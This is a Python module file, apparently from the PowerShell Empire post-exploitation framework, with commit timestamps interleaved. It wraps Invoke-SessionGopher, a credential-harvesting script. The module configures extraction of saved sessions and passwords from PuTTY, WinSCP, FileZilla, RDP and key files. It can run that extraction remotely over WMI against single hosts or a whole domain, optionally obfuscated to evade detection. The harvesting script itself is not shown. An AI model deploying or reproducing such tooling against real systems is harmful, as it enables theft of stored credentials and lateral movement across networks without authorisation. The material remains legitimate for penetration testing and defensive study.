2017-05-08 02:11:32 +00:00
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from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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# metadata info about the module, not modified during runtime
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self.info = {
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# name for the module that will appear in module menus
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'Name': 'Invoke-SessionGopher',
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2017-05-08 02:55:11 +00:00
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# List of one or more authors for the module
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2017-05-08 02:11:32 +00:00
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'Author': ['@arvanaghi, created at FireEye'],
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2017-05-08 02:55:11 +00:00
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# More verbose multi-line description of the module
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2017-05-08 02:11:32 +00:00
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'Description': ('Extract saved sessions & passwords for WinSCP, PuTTY, SuperPuTTY, FileZilla, '
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'RDP, .ppk files, .rdp files, .sdtid files'),
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# True if the module needs to run in the background
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2017-05-08 02:55:11 +00:00
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'Background': False,
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2017-05-08 02:11:32 +00:00
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# File extension to save the file as
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2017-05-08 02:55:11 +00:00
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'OutputExtension': None,
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2017-05-08 02:11:32 +00:00
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# True if the module needs admin rights to run
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2017-05-08 02:55:11 +00:00
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'NeedsAdmin': False,
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2017-05-08 02:11:32 +00:00
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# True if the method doesn't touch disk/is reasonably opsec safe
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2017-05-08 02:55:11 +00:00
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'OpsecSafe': True,
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# The language for this module
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'Language': 'powershell',
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2017-05-08 02:11:32 +00:00
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# The minimum PowerShell version needed for the module to run
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2017-05-08 02:55:11 +00:00
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'MinLanguageVersion': '2',
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2017-05-08 02:11:32 +00:00
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# list of any references/other comments
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'Comments': [
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2017-05-08 02:55:11 +00:00
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'Twitter: @arvanaghi | ',
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'https://arvanaghi.com | ',
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2017-05-08 02:11:32 +00:00
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'https://github.com/fireeye/SessionGopher',
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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# The 'Agent' option is the only one that MUST be in a module
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2017-05-11 16:24:03 +00:00
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'Description' : 'Agent to run module on.',
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2017-05-08 02:11:32 +00:00
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'Required' : True,
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'Value' : ''
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},
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'Thorough' : {
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'Description' : 'Switch. Searches entire filesystem for .ppk, .rdp, .sdtid files. Not recommended to use with -AllDomain due to time.',
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'Required' : False,
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'Value' : ''
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},
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'u' : {
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'Description' : 'User account (e.g. corp.com\jerry) for when using -Target, -iL, or -AllDomain. If not provided, uses current security context.',
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'Required' : False,
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'Value' : ''
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},
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'p' : {
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'Description' : 'Password for user account (if -u argument provided).',
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'Required' : False,
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'Value' : ''
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},
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'Target' : {
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'Description' : 'Provide a single host to run remotely against. Uses WMI.',
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'Required' : False,
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'Value' : ''
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},
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'o' : {
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'Description' : 'Switch. Drops a folder of all output in .csvs on remote host.',
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'Required' : False,
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'Value' : ''
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},
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'AllDomain' : {
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'Description' : 'Switch. Run against all computers on domain. Uses current security context, unless -u and -p arguments provided. Uses WMI.',
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'Required' : False,
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'Value' : ''
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},
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'iL' : {
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'Description' : 'Provide path to a .txt file on the remote host containing hosts separated by newlines to run remotely against. Uses WMI.',
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'Required' : False,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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# During instantiation, any settable option parameters
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# are passed as an object set to the module and the
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# options dictionary is automatically set. This is mostly
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# in case options are passed on the command line
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if params:
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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2017-06-19 05:46:30 +00:00
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def generate(self, obfuscate=False, obfuscationCommand=""):
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2017-05-08 02:11:32 +00:00
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# if you're reading in a large, external script that might be updates,
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# use the pattern below
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# read in the common module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-SessionGopher.ps1"
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2017-06-19 05:46:30 +00:00
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if obfuscate:
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helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
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moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
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2017-05-08 02:11:32 +00:00
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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script = moduleCode
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2017-06-19 05:46:30 +00:00
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scriptEnd = "Invoke-SessionGopher"
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2017-05-08 02:11:32 +00:00
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# add any arguments to the end execution of the script
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for option,values in self.options.iteritems():
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if option.lower() != "agent":
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if values['Value'] and values['Value'] != '':
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if values['Value'].lower() == "true":
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# if we're just adding a switch
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scriptEnd += " -" + str(option)
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else:
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scriptEnd += " -" + str(option) + " " + str(values['Value'])
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if obfuscate:
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scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
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script += scriptEnd
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2017-05-08 02:11:32 +00:00
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return script
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